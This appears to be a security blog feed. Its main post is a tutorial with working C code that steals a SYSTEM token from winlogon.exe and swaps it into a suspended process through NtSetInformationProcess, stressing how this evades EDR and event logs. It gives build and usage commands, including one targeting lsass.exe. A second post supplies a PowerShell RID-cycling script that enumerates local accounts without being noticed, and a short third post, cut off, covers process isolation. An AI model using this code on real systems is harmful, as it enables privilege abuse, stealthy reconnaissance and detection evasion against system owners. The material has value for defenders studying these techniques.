<p>📁 Full source code and pre-compiled binary: <a href="https://github.com/veeramani110400/AccessTokenManipulation_NtSetInformationProcess">AccessTokenManipulation_NtSetInformationProcess</a></p>
</blockquote>
<hr />
<h3>Part 1: Resolving the Undocumented API</h3>
<p><code>NtSetInformationProcess</code> is not a Win32 API. It lives in <code>ntdll.dll</code> — the low-level native API layer that sits between the Win32 subsystem and the kernel. Microsoft doesn't document it in the Windows SDK. You won't find it in <code>&lt;windows.h&gt;</code>. We have to define its structures ourselves and load it dynamically at runtime.</p>
<pre><code class="language-c">/* ProcessAccessToken information class = 9 */
#define ProcessAccessToken_InfoClass 9

/* The structure NtSetInformationProcess expects for token swap */
typedef struct _PROCESS_ACCESS_TOKEN {
    HANDLE Token;    /* The new primary token to assign */
    HANDLE Thread;   /* The initial thread of the suspended process */
} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN;

/* Function signature — matches ntdll's export */
typedef NTSTATUS (NTAPI *pNtSetInformationProcess)(
    HANDLE ProcessHandle,
    ULONG  ProcessInformationClass,
    PVOID  ProcessInformation,
    ULONG  ProcessInformationLength
);
</code></pre>
<p>Three things to notice:</p>
<ol>
<li><p><code>ProcessAccessToken_InfoClass = 9</code> — This is the magic number. <code>NtSetInformationProcess</code> supports dozens of information classes (for setting priorities, DEP policies, memory limits, etc.). Class 9 is specifically for replacing the primary token.</p>
</li>
<li><p><code>PROCESS_ACCESS_TOKEN</code> — The structure is tiny: just a token handle and a thread handle. The thread handle must point to the initial thread of the suspended process. The kernel uses it to validate that the target process hasn't started execution.</p>
</li>
<li><p><code>NTSTATUS</code> <strong>return</strong> — Native APIs don't use <code>GetLastError()</code>. They return NTSTATUS codes directly. <code>0</code> means success. Negative values mean failure.</p>
</li>
</ol>
<p>At runtime, we resolve the function dynamically:</p>
<pre><code class="language-c">HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

pNtSetInformationProcess NtSetInformationProcess =
    (pNtSetInformationProcess)(void*)GetProcAddress(hNtdll, "NtSetInformationProcess");
</code></pre>
<p>Why <code>GetModuleHandle</code> instead of <code>LoadLibrary</code>? Because <code>ntdll.dll</code> is <strong>always</strong> loaded — it's the first DLL mapped into every Windows process. We don't need to load it; it's already there.</p>
<p>Why does this matter for evasion? Because <code>NtSetInformationProcess</code> doesn't appear in our executable's <strong>import table</strong>. Static analysis tools that scan PE imports won't see it. It only exists as a string resolved at runtime.</p>
<hr />
<h3>Part 2: Enabling the Required Privileges</h3>
<p>This technique requires three privileges. Not all are always available, but we attempt all of them:</p>
<pre><code class="language-c">enable_privilege("SeDebugPrivilege");
enable_privilege("SeAssignPrimaryTokenPrivilege");
enable_privilege("SeIncreaseQuotaPrivilege");
</code></pre>
<table>
<thead>
<tr>
<th>Privilege</th>
<th>What it unlocks</th>
<th>Who has it</th>
</tr>
</thead>
<tbody><tr>
<td><code>SeDebugPrivilege</code></td>
<td><code>OpenProcess</code> on SYSTEM-level processes like <code>winlogon.exe</code></td>
<td>Local Administrators</td>
</tr>
<tr>
<td><code>SeAssignPrimaryTokenPrivilege</code></td>
<td><code>NtSetInformationProcess</code> with class 9 — the actual token swap</td>
<td><strong>SYSTEM only</strong> (not regular admins)</td>
</tr>
<tr>
<td><code>SeIncreaseQuotaPrivilege</code></td>
<td>Allows the kernel to transition quota limits when switching security contexts</td>
<td>Local Administrators</td>
</tr>
</tbody></table>
<p><strong>Key point:</strong> <code>SeAssignPrimaryTokenPrivilege</code> is the blocker. Regular administrators <em>do not</em> have it. This is why this technique is typically chained: you first use thread-level impersonation (steal &amp; wear SYSTEM) to get the privilege, and <em>then</em> execute the suspended token swap from that elevated context.</p>
<p>The <code>enable_privilege</code> function itself is straightforward — open our process token, look up the privilege LUID, flip it to enabled:</p>
<pre><code class="language-c">static BOOL enable_privilege(const char* privilege_name) {
    HANDLE hToken = NULL;
    TOKEN_PRIVILEGES tp;
    LUID luid;

    OpenProcessToken(GetCurrentProcess(),
                     TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken);

    LookupPrivilegeValueA(NULL, privilege_name, &amp;luid);

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    AdjustTokenPrivileges(hToken, FALSE, &amp;tp, sizeof(tp), NULL, NULL);

    CloseHandle(hToken);
    return (GetLastError() == ERROR_SUCCESS);
}
</code></pre>
<hr />
<h3>Part 3: Stealing the Source Token</h3>
<p>We steal a SYSTEM token from <code>winlogon.exe</code>. Why winlogon? Three reasons:</p>
<ul>
<li><p>It <strong>always</strong> runs as <code>NT AUTHORITY\SYSTEM</code></p>
</li>
<li><p>It's <strong>always</strong> present on every Windows system</p>
</li>
<li><p>It's a <strong>single-instance</strong> process — our PID lookup returns a deterministic result</p>
</li>
</ul>
<pre><code class="language-c">/* Find the PID using CreateToolhelp32Snapshot */
DWORD pid = find_pid_by_name("winlogon.exe");

/* Open a handle to the process */
HANDLE hSourceProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);

/* Extract its primary token */
HANDLE hStolenPrimary = NULL;
OpenProcessToken(hSourceProcess,
                 TOKEN_DUPLICATE | TOKEN_QUERY,
                 &amp;hStolenPrimary);
</code></pre>
<p><code>OpenProcessToken</code> always returns a handle to a <strong>Primary</strong> token — because processes only <em>have</em> primary tokens. The <code>TOKEN_DUPLICATE | TOKEN_QUERY</code> flags give us permission to both inspect the token and create copies of it.</p>
<hr />
<h3>Part 4: Why We Duplicate a Primary Token as... Primary Again</h3>
<p>This is the part that trips up a lot of people:</p>
<blockquote>
<p><em>"We already have a Primary token from winlogon — why call</em> <code>DuplicateTokenEx</code> <em>to create another Primary?"</em></p>
</blockquote>
<p>The answer is <strong>ownership and kernel reference counting</strong>. The token handle from <code>OpenProcessToken</code> is a <em>reference</em> to winlogon's token object in the kernel. We can read it, but we can't assign it to a different process — the kernel would refuse because the handle's access control is tied to the source process.</p>
<p><code>DuplicateTokenEx</code> creates a <strong>new, independent</strong> token object that we fully own:</p>
<pre><code class="language-c">HANDLE hNewPrimary = NULL;
DuplicateTokenEx(
    hStolenPrimary,           /* Source: winlogon's primary token */
    TOKEN_ALL_ACCESS,         /* Full access on the new token */
    NULL,                     /* Default security attributes */
    SecurityImpersonation,    /* Impersonation level embedded in the token */
    TokenPrimary,             /* Output type: Primary */
    &amp;hNewPrimary              /* Receives the new, independent token */
);
</code></pre>
<p>The <code>SecurityImpersonation</code> parameter might look wrong since we're creating a Primary token — but it's not the token type. It's the <strong>impersonation level</strong> stored inside the token, which controls how much impersonation the token allows. <code>SecurityImpersonation</code> means "full impersonation rights."</p>
<hr />
<h3>Part 5: Creating the Suspended Process</h3>
<p>Now the evasion magic begins. We create our target process — but freeze it before it runs:</p>
<pre><code class="language-c">STARTUPINFOW si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);

CreateProcessW(
    NULL,                                   /* Application name */
    L"C:\\Windows\\System32\\notepad.exe",  /* Command line */
    NULL, NULL,                             /* Security attributes */
    FALSE,                                  /* Inherit handles */
    CREATE_SUSPENDED | CREATE_NEW_CONSOLE,  /* ← THE KEY FLAG */
    NULL, NULL,                             /* Environment, directory */
    &amp;si, &amp;pi                                /* Startup info, process info */
);
</code></pre>
<p>After this call:</p>
<ul>
<li><p><code>pi.hProcess</code> — handle to the new process</p>
</li>
<li><p><code>pi.hThread</code> — handle to its initial (and only) thread</p>
</li>
<li><p>The process exists in memory with a full address space</p>
</li>
<li><p><strong>But zero instructions have executed.</strong> The thread is frozen at <code>ntdll!LdrInitializeThunk</code> — before the Windows loader has even started processing DLL imports.</p>
</li>
</ul>
<p>At this point, if you query the suspended process's token using Process Explorer or any API, it shows <strong>your current user</strong> — the person who created it. Totally normal. Totally boring. Exactly what we want the logs to show.</p>
<hr />
<h3>Part 6: The Token Swap — The Heart of the Technique</h3>
<p>Six lines of code. This is the entire attack:</p>
<pre><code class="language-c">PROCESS_ACCESS_TOKEN tokenInfo;
tokenInfo.Token  = hNewPrimary;   /* Our stolen SYSTEM token */
tokenInfo.Thread = pi.hThread;    /* The initial thread of the suspended process */

NTSTATUS status = NtSetInformationProcess(
    pi.hProcess,                  /* Target: the suspended process */
    ProcessAccessToken_InfoClass, /* Information class: 9 */
    &amp;tokenInfo,                   /* Pointer to our PROCESS_ACCESS_TOKEN struct */
    sizeof(tokenInfo)             /* Size of the structure */
);
</code></pre>
<p>If <code>NT_SUCCESS(status)</code> returns true — the swap is done. The suspended process's primary token has been replaced. Its old identity (your user account) is gone. Its new identity (SYSTEM, stolen from winlogon) is in place. No event was logged for this operation.</p>
<p>The kernel validates several things during this call:</p>
<table>
<thead>
<tr>
<th>Check</th>
<th>What happens if it fails</th>
</tr>
</thead>
<tbody><tr>
<td>Process must be suspended (no running threads)</td>
<td><code>STATUS_NOT_SUPPORTED (0xC00000BB)</code></td>
</tr>
<tr>
<td>Caller must hold <code>SeAssignPrimaryTokenPrivilege</code></td>
<td><code>STATUS_ACCESS_DENIED (0xC0000022)</code></td>
</tr>
<tr>
<td>Token must be a valid Primary token</td>
<td><code>STATUS_INVALID_PARAMETER</code></td>
</tr>
<tr>
<td>Thread handle must be the initial thread</td>
<td>Undefined behavior / access denied</td>
</tr>
</tbody></table>
<p>Our code handles these failures gracefully — if the swap fails, we terminate the orphaned suspended process instead of leaving it hanging:</p>
<pre><code class="language-c">if (!NT_SUCCESS(status)) {
    /* Log the specific NTSTATUS error */
    TerminateProcess(pi.hProcess, 1);  /* Clean up the orphan */
}
</code></pre>
<hr />
<h3>Part 7: Waking Up the Monster</h3>
<p>One final call:</p>
<pre><code class="language-c">ResumeThread(pi.hThread);
</code></pre>
<p>The suspended thread starts executing <code>ntdll!LdrInitializeThunk</code> — the Windows loader entry point. It loads DLLs, initializes the C runtime, and eventually reaches <code>WinMain</code> or <code>main</code>. But every single security check from this point forward uses the <strong>swapped token</strong>.</p>
<p>The process is SYSTEM. It was born as you, but it woke up as SYSTEM.</p>
<p>The before-and-after output makes this crystal clear:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/5ca0993e-a874-4005-b1ea-e55a0d30d92a.png" alt="" style="display:block;margin:0 auto" />

<p>Same process. Same PID. Completely different identity.</p>
<hr />
<h2>Why This Evades Detection</h2>
<p>Let's map this against what defenders typically monitor:</p>
<table>
<thead>
<tr>
<th>Detection Layer</th>
<th>What it sees</th>
<th>Why B3 evades it</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Event ID 4688 (Process Creation)</strong></td>
<td>Process created by <code>DESKTOP\Alice</code> with <code>CREATE_SUSPENDED</code></td>
<td>Token swap happens <em>after</em> this event fires. The log shows the original (boring) identity.</td>
</tr>
<tr>
<td><strong>EDR Process Creation Callback</strong></td>
<td>Hooks fire at <code>NtCreateUserProcess</code> or <code>PsSetCreateProcessNotifyRoutineEx</code></td>
<td>Same — callbacks fire at creation time, before the swap. The token is clean when inspected.</td>
</tr>
<tr>
<td><strong>Parent-Child Process Tree</strong></td>
<td><code>notepad.exe</code> spawned by our process</td>
<td>Looks completely normal. No suspicious <code>cmd.exe</code> spawned by <code>svchost.exe</code>.</td>
</tr>
<tr>
<td><strong>Process Token Query</strong></td>
<td>After swap, the process token says SYSTEM</td>
<td>Only visible if the EDR <em>re-queries</em> the token after creation — most don't.</td>
</tr>
<tr>
<td><code>NtSetInformationProcess</code> <strong>Hooking</strong></td>
<td>The specific syscall with information class 9</td>
<td><strong>This is the real detection point</strong> — but very few products hook this specific class. It's rare.</td>
</tr>
</tbody></table>
<p>The gap between "process creation event" and "token swap" is where the evasion lives. Most security products operate on a <strong>"check at creation, trust forever"</strong> model. This technique exploits that trust.</p>
<hr />
<h2>Required Privileges — Who Can Actually Do This?</h2>
<p>This is important and often glossed over:</p>
<table>
<thead>
<tr>
<th>Privilege</th>
<th>Regular Admin</th>
<th>SYSTEM</th>
<th>Required for</th>
</tr>
</thead>
<tbody><tr>
<td><code>SeDebugPrivilege</code></td>
<td>✅</td>
<td>✅</td>
<td>Opening <code>winlogon.exe</code>'s process handle</td>
</tr>
<tr>
<td><code>SeAssignPrimaryTokenPrivilege</code></td>
<td>❌</td>
<td>✅</td>
<td>The <code>NtSetInformationProcess</code> swap call</td>
</tr>
<tr>
<td><code>SeIncreaseQuotaPrivilege</code></td>
<td>✅</td>
<td>✅</td>
<td>Quota transition during token switch</td>
</tr>
</tbody></table>
<p><strong>Practical implication:</strong> You typically need to be SYSTEM already to perform this technique. That makes it a <strong>persistence and evasion</strong> technique, not a privilege escalation technique.</p>
<p>The typical attack chain:</p>
<pre><code class="language-plaintext">1. Get admin access (initial compromise)
2. Steal &amp; Wear SYSTEM on your thread (thread-level impersonation)
3. From SYSTEM context → execute this technique to spawn a clean-looking 
   process that permanently runs as SYSTEM
</code></pre>
<p>The value isn't in getting SYSTEM — you already have it. The value is in getting a <strong>SYSTEM process that looks legitimate</strong> — clean parent-child tree, clean creation event, legitimate binary. Much harder to attribute to the attacker.</p>
<hr />
<h2>Building and Running</h2>
<h3>Cross-Compile from Linux (MinGW)</h3>
<pre><code class="language-bash">x86_64-w64-mingw32-gcc -O2 -o B3_suspended_swap.exe suspended_swap.c \
    -ladvapi32 -lkernel32 -municode
</code></pre>
<blockquote>
<p>📦 Or grab the pre-compiled exe directly from the <a href="https://github.com/veeramani110400/AccessTokenManipulation_NtSetInformationProcess">repository</a>.</p>
</blockquote>
<h3>Usage</h3>
<pre><code class="language-powershell"># Default: steal from winlogon.exe → spawn notepad.exe as SYSTEM
.\B3_suspended_swap.exe

# Custom: steal from lsass.exe → spawn cmd.exe as SYSTEM
.\B3_suspended_swap.exe lsass.exe "C:\Windows\System32\cmd.exe"
</code></pre>
<hr />
<h2>The Bigger Picture — Token Manipulation Technique Family</h2>
<p>This technique doesn't exist in isolation. It's part of a family of token manipulation techniques, each serving different purposes:</p>
<table>
<thead>
<tr>
<th>Technique</th>
<th>What it does</th>
<th>Trade-off</th>
</tr>
</thead>
<tbody><tr>
<td><strong>A1</strong> — Steal &amp; Impersonate</td>
<td>Thread-level identity theft via <code>SetThreadToken</code></td>
<td>Fast &amp; simple, but temporary (thread-only)</td>
</tr>
<tr>
<td><strong>A2</strong> — Privilege Reduction</td>
<td>Strip your own privileges for sandboxing</td>
<td>Defensive/legitimate use</td>
</tr>
<tr>
<td><strong>B1</strong> — <code>CreateProcessAsUserW</code></td>
<td>Spawn process with stolen Primary token</td>
<td>Works, but token visible in creation event</td>
</tr>
<tr>
<td><strong>B2</strong> — <code>CreateProcessWithTokenW</code></td>
<td>Let <code>seclogon</code> service handle conversion</td>
<td>Simpler, but depends on Secondary Logon service</td>
</tr>
<tr>
<td><strong>B3</strong> — Suspended Token Swap <em>(this blog)</em></td>
<td>Swap frozen process identity via <code>NtSetInformationProcess</code></td>
<td><strong>Maximum evasion</strong> — creation event is clean</td>
</tr>
</tbody></table>
<hr />
<h2>Conclusion</h2>
<p>The Suspended Process Token Swap via <code>NtSetInformationProcess</code> exploits a fundamental gap in how Windows and most security products handle process creation: <strong>they trust the identity established at creation time and don't re-check it afterward.</strong></p>
<p>By separating process creation from identity assignment — using the <code>CREATE_SUSPENDED</code> window — an attacker can birth a process that looks legitimate in every log and every EDR callback, but wakes up running as SYSTEM.</p>
<p>The technique is powerful but not without constraints:</p>
<ul>
<li><p>It requires <code>SeAssignPrimaryTokenPrivilege</code> (SYSTEM-level), making it a post-exploitation evasion tool, not an initial escalation path</p>
</li>
<li><p>The detection surface exists for teams that monitor <code>NtSetInformationProcess</code> with information class 9</p>
</li>
<li><p>EDR products that re-query process tokens <em>after</em> creation callbacks can catch the mismatch</p>
</li>
</ul>
<h3>What's Next — Part 2: The Seclogon Way</h3>
<p>In the next part of this series, we'll explore <strong>CreateProcessWithTokenW and the Secondary Logon service</strong> — a fundamentally different approach. Instead of manually swapping tokens on a suspended process, <code>CreateProcessWithTokenW</code> delegates the entire Primary token conversion to a built-in Windows service (<code>seclogon</code>). It operates at a lower privilege bar (no <code>SeAssignPrimaryTokenPrivilege</code> needed), accepts Impersonation tokens directly, and is significantly simpler to implement. But it introduces its own detection surface through the Secondary Logon service interaction and leaves a different forensic footprint.</p>
<p>We'll walk through the code, compare the trade-offs against the <code>NtSetInformationProcess</code> approach, and show when each technique is the better choice.</p>
<p>Stay tuned.</p>
<hr />
<p><em>MITRE ATT&amp;CK References:</em></p>
<ul>
<li><p><a href="https://attack.mitre.org/techniques/T1134/002/"><em>T1134.002 — Access Token Manipulation: Create Process with Token</em></a></p>
</li>
<li><p><a href="https://attack.mitre.org/techniques/T1055/012/"><em>T1055.012 — Process Injection: Process Hollowing</em></a> <em>(shares the</em> <code>CREATE_SUSPENDED</code> <em>abuse pattern)</em></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[The Silent Recon - Why Malware Authors Choose RID Cycling]]></title><description><![CDATA[When an attacker lands a foothold on a Windows machine, their absolute first priority is discovery. They need to answer one crucial question: Who else is on this box?
Finding local accounts—especially]]></description><link>https://rxnveera.blog/the-silent-recon-why-malware-authors-choose-rid-cycling</link><guid isPermaLink="true">https://rxnveera.blog/the-silent-recon-why-malware-authors-choose-rid-cycling</guid><dc:creator><![CDATA[rxnveera]]></dc:creator><pubDate>Wed, 29 Jul 2026 14:03:16 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/8f62e56c-0c45-41c2-b9b2-c1c125027fbe.svg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When an attacker lands a foothold on a Windows machine, their absolute first priority is discovery. They need to answer one crucial question: Who else is on this box?</p>
<p>Finding local accounts—especially local administrators—is pure gold for an adversary. If a local admin account shares a username and password across multiple systems, that single misconfiguration lets an attacker pivot from one compromised machine to the entire network in minutes.</p>
<p>But <em>how</em> an attacker finds these accounts makes all the difference between triggering alarms or slipping by completely unnoticed.</p>
<hr />
<h2>The Loud Way: Why <code>net user</code> Gets You Caught</h2>
<p>If you look up how to list users on Windows, you’ll usually find these common methods:</p>
<ol>
<li><p>The Old WAY OF Command Line: Running <code>net user</code> or <code>net localgroup administrators</code>.</p>
</li>
<li><p>PowerShell / .NET / ADSI: Running commands like <code>Get-LocalUser</code>.</p>
</li>
<li><p>WMI Queries: Using <code>wmic useraccount list brief</code>.</p>
</li>
</ol>
<h2>Why Security Tools Trap This Instantly</h2>
<p>Modern Endpoint Detection and Response (EDR) software acts like a hyper-alert security guard watching the command line.</p>
<p>The moment a non-standard background process (like an exploited app or a malicious document) suddenly spawns <code>cmd.exe /c net user</code>, the EDR flags it immediately. Security teams have written strict rules specifically to trigger alerts whenever these exact command-line footprints show up in the logs.</p>
<p>Because these standard tools leave an obvious trail, smart malware authors completely avoid them. Instead, they use a technique that creates zero new processes and leaves no command-line footprints: RID Cycling.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/c19daab7-3735-46b9-b9c9-b623f76f76ea.png" alt="" style="display:block;margin:0 auto" />

<p><em>The same discovery goal, two very different footprints — and exactly what EDR records for each path.</em></p>
<hr />
<h2>Understanding SIDs and RIDs</h2>
<p>To understand how RID cycling works, we first need to look at how Windows actually handles identities. In the eyes of Windows, absolutely everything—each user, computer, group, and even the domain itself—is treated as an object. And every single object gets its own unique digital ID card called a SID (Security Identifier).</p>
<p>A SID string is split into two primary parts: the Base SID (which identifies the authority/source) and the RID (Relative Identifier) (the unique sequential number at the very end).</p>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/715e89e2-01c4-4c6f-a703-64a893286e0f.png" alt="" style="display:block;margin:0 auto" />

<p><em>One SID, taken apart: the Base SID stays fixed while only the RID at the tail changes from account to account.</em></p>
<p>A common point of confusion is how a machine tracks its own identity when it joins a network. The truth is, a domain-joined computer actually manages two completely separate identities running side-by-side:</p>
<h2>The Blueprint of Windows IDs</h2>
<ul>
<li><p>The Machine Identity:</p>
<ul>
<li><p>Before joining a domain: The computer uses its own randomly generated Machine SID.</p>
</li>
<li><p>While joining a domain: Active Directory hands it a brand-new identity built as <code>[Domain SID] + [Machine RID]</code>.</p>
</li>
<li><p><em>The Secret:</em> The machine never merges these. It keeps both.</p>
</li>
</ul>
</li>
<li><p>User Identities:</p>
<ul>
<li><p>Local User: Built using <code>[Original Machine SID] + [User RID]</code>. (It completely ignores the domain).</p>
</li>
<li><p>Domain User: Built using <code>[Domain SID] + [User RID]</code>.</p>
</li>
</ul>
</li>
<li><p>Group Identities:</p>
<ul>
<li><p>Local Group (Custom): Built using <code>[Original Machine SID] + [Group RID]</code>.</p>
</li>
<li><p>Domain Group: Built using <code>[Domain SID] + [Group RID]</code>.</p>
</li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/261508a8-ffe5-4467-b6a3-0e01d31732ee.png" alt="" style="display:block;margin:0 auto" />

<p><em>Two worlds of identity. Every object is simply its authority’s SID plus a RID — only the authority (LOCAL vs DOMAIN) changes.</em></p>
<h2>Wait, Where is that Domain Computer SID Actually Used?</h2>
<p>If the machine keeps that <code>[Domain SID] + [Computer RID]</code> identity, where does it use it? Think of it as a Corporate Employee ID Badge.</p>
<p>During system boot, way before the login screen appears and before any human enters a password, <code>lsass.exe</code> starts up. The computer logs into the Domain Controller using its hidden machine account password. It flashes its Domain Computer SID to prove it is a legitimate corporate asset. This lets it pull down Group Policies and safely communicate server-to-server over the network.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/51533c5c-d35a-49d7-95c5-326f09cb088e.png" alt="" style="display:block;margin:0 auto" />

<p><em>The machine’s domain identity is a boot-time corporate badge — and it never touches the local Machine SID that RID cycling abuses.</em></p>
<hr />
<h2>Test It Yourself: Checking Machine's SIDs</h2>
<p>You can see this identity mapping in action right now using a standard Command Prompt (<code>cmd.exe</code>):</p>
<ol>
<li><p>View your current user account's SID:</p>
<pre><code class="language-cmd">whoami /user
</code></pre>
<p><em>Look at the output. The long middle part is your unique Machine SID, and the very last number (like</em> <code>-1001</code><em>) is your User RID.</em></p>
</li>
<li><p>View your local groups:</p>
<pre><code class="language-cmd">whoami /groups
</code></pre>
<p><em>You might notice groups like</em> <code>BUILTIN\Administrators</code> <em>look like</em> <code>S-1-5-32-544</code><em>. They don't use your Machine SID because they are Built-in System Groups. Windows hardcodes these globally with a generic prefix (</em><code>S-1-5-32</code><em>) so they are the same on every PC in the world.</em></p>
</li>
</ol>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/6cbc3097-bc27-41bb-addc-6be6b78a0d0e.png" alt="" style="display:block;margin:0 auto" />

<ol>
<li><p>Prove the rule (Create a Custom Group):<br />If you run an elevated Command Prompt and create a <em>custom</em> group, Windows will immediately fall back to your unique Machine SID:</p>
<pre><code class="language-cmd">net localgroup MyTestGroup /add
powershell -Command "Get-LocalGroup -Name MyTestGroup | Select-Object Name, SID"
</code></pre>
<p><em>Output:</em> <code>MyTestGroup S-1-5-21-[Your-Machine-SID]-1002</code></p>
</li>
</ol>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/768244bc-19cd-4d67-9174-7540fcdf17f1.png" alt="" style="display:block;margin:0 auto" />

<h2>The Guessing Game: How RID Cycling Works</h2>
<p>Now that we have the mental model down, RID cycling is easy to understand.</p>
<p>Instead of knocking on the front desk and asking for a full list of all employees (which security will flag as suspicious), an attacker walks up to an automated intercom and manually dials extensions one by one: <code>1001</code>, <code>1002</code>, <code>1003</code>. If a name pops up, they write it down. If it says "Invalid," they skip it.</p>
<p>An attacker throws this logic into an automated loop:</p>
<ol>
<li><p>Grab the Base Machine SID: They grab the local computer's unique Machine SID (which they can easily read from basic registry paths like <code>ProfileList</code>).</p>
</li>
<li><p>Build the Guess List: They programmatically append sequential RIDs to the end of that Machine SID.</p>
<ul>
<li><p>They start with well-known ones: <code>Machine-SID-500</code> (Always the built-in Administrator).</p>
</li>
<li><p>Then they cycle through user space: <code>Machine-SID-1000</code>, <code>Machine-SID-1001</code>, <code>Machine-SID-1002</code>...</p>
</li>
</ul>
</li>
<li><p>Ask for a Translation: For every SID they generate, they call a standard Windows utility function: <code>LookupAccountSid</code>.</p>
</li>
</ol>
<p>Windows looks at the generated SID and answers: <em>"Oh, that ID belongs to a user named</em> <code>Veera</code><em>."</em> If the RID doesn't exist, Windows just returns an error, and the script moves to the next number.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/5ae6d484-8f44-42dd-8221-10059db58b47.png" alt="" style="display:block;margin:0 auto" />

<p><em>The loop in one picture: hold the Base SID fixed, walk each RID, and let Windows translate the ones that exist.</em></p>
<pre><code class="language-powershell"># Step 1: Extract the local Machine SID directly from the ProfileList registry key
# We find any subkey starting with 'S-1-5-21-', pick the first one, and strip off the final user RID.

$RegPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList"
$UserSIDSubkey = (Get-ChildItem $RegPath | Where-Object { $_.PSChildName -like "S-1-5-21-*" } | Select-Object -First 1).PSChildName

if (-not $UserSIDSubkey) {
    Write-Error "[-] Could not find any local user SIDs in the ProfileList registry path."
    exit
}

$MachineSID = $UserSIDSubkey -replace '-[0-9]+$', ''
Write-Host "[+] Discovered Local Machine SID via Registry: $MachineSID" -ForegroundColor Green
Write-Host "[+] Starting RID Cycling loop..." -ForegroundColor Cyan
Write-Host "--------------------------------------------------"

# Step 2: Define the RIDs we want to test

# 500 = Admin, 501 = Guest, 1000+ = Custom Users
$RIDsToTest = @(500, 501) + (1000..1050)

# Step 3: Run the translation loop

foreach ($RID in $RIDsToTest) {
    # Construct the full target SID string
    $TargetSIDString = "$MachineSID-$RID"

    try {
        # Call the underlying Windows translation engine (LookupAccountSid equivalent)
        $SIDObject = New-Object System.Security.Principal.SecurityIdentifier($TargetSIDString)
        $Account = $SIDObject.Translate([System.Security.Principal.NTAccount])     
        # If it successfully translates, print out the account name
        Write-Host "[FOUND] RID $RID -&gt; $($Account.Value)" -ForegroundColor Yellow
    }
    catch {
        # If the RID doesn't exist on the system, Windows throws an error. We silently skip it.
        continue
    }
}
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/440f93a9-db9a-4e9e-9a99-2c1e05ab0924.png" alt="" style="display:block;margin:0 auto" />

<h3>Why This Completely Evades EDR</h3>
<p>This technique turns a dangerous <strong>search</strong> problem into an innocent <strong>translation</strong> problem, completely blinding security filters.</p>
<ol>
<li><p><strong>Registry Reads are Too Noisy to Log</strong><br />The <code>ProfileList</code> registry key is read constantly by legitimate applications to check user paths. Because EDR tools focus heavily on registry <strong>writes</strong> (to prevent malware persistence), logging every simple read operation of a standard system key would generate millions of useless logs and crush system performance. Security tools deliberately skip this background noise.</p>
</li>
<li><p><strong>SID Translation Mimics 100% Normal Behaviour</strong><br />Legitimate Windows components constantly call <code>LookupAccountSid</code> every time they render file properties, display permissions, or process logs. To an EDR agent, an in-process script translating a few hundred SIDs looks identical to normal operating system behaviour. There are no suspicious process spawns, no noisy command-line flags, and no restricted administrative APIs called.</p>
</li>
</ol>
<hr />
]]></content:encoded></item><item><title><![CDATA[Understanding Process Isolation in Windows]]></title><description><![CDATA[Let's break down how two processes communicate in Windows, what process isolation means, and how APIs like WriteProcessMemory and VirtualAllocEx manage to access another process's memory — without bre]]></description><link>https://rxnveera.blog/understanding-process-isolation-in-windows</link><guid isPermaLink="true">https://rxnveera.blog/understanding-process-isolation-in-windows</guid><dc:creator><![CDATA[rxnveera]]></dc:creator><pubDate>Tue, 21 Jul 2026 11:14:03 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/d18756c8-b553-471e-b709-bfbcb175c4d2.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Let's break down how two processes communicate in Windows, what process isolation means, and how APIs like WriteProcessMemory and VirtualAllocEx manage to access another process's memory — without breaking the rules.</p>
<h2>Two Processes Can Communicate</h2>
<p>In Windows, two processes can communicate with each other. Even though each process has its own private virtual address space, they can still exchange data using kernel-mediated mechanisms such as shared memory, named pipes, sockets, or RPC (Remote Procedure Calls).</p>
<p>These mechanisms are controlled and safe, as they are managed by the kernel.</p>
<h2>Then what Is Process Isolation ?</h2>
<p>Process Isolation means that one process cannot directly access another process's memory in user space. (note : cannot directly access )</p>
<p>Each process runs in its own private memory area, ensuring that:</p>
<ul>
<li><p>One faulty or malicious process can't modify another process's memory.</p>
</li>
<li><p>The operating system remains stable and secure.</p>
</li>
</ul>
<p>However, kernel-mediated mechanisms allow processes to exchange data safely — but only through controlled access paths, not direct memory access.</p>
<p>So yes, processes can communicate, but not directly in user space. Instead, they do it indirectly through the kernel.</p>
<h2>How Do APIs Like WriteProcessMemory and VirtualAllocEx Work ?</h2>
<p>APIs like <strong>WriteProcessMemory</strong> and <strong>VirtualAllocEx</strong> can access another process's memory, but only if they have a valid process handle with the right permissions, such as <strong>PROCESS_VM_WRITE</strong> or <strong>PROCESS_VM_OPERATION.</strong></p>
<p>Here's what really happens behind the scenes.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/f202dd4b-fd0b-4668-a211-d225516370d6.png" alt="" style="display:block;margin:0 auto" />

<img src="process-isolation.svg" alt="Animated diagram: data moves from Process A's buffer, down into the kernel (ring 0), across, and up into Process B's target address" style="display:block;margin:0 auto" />

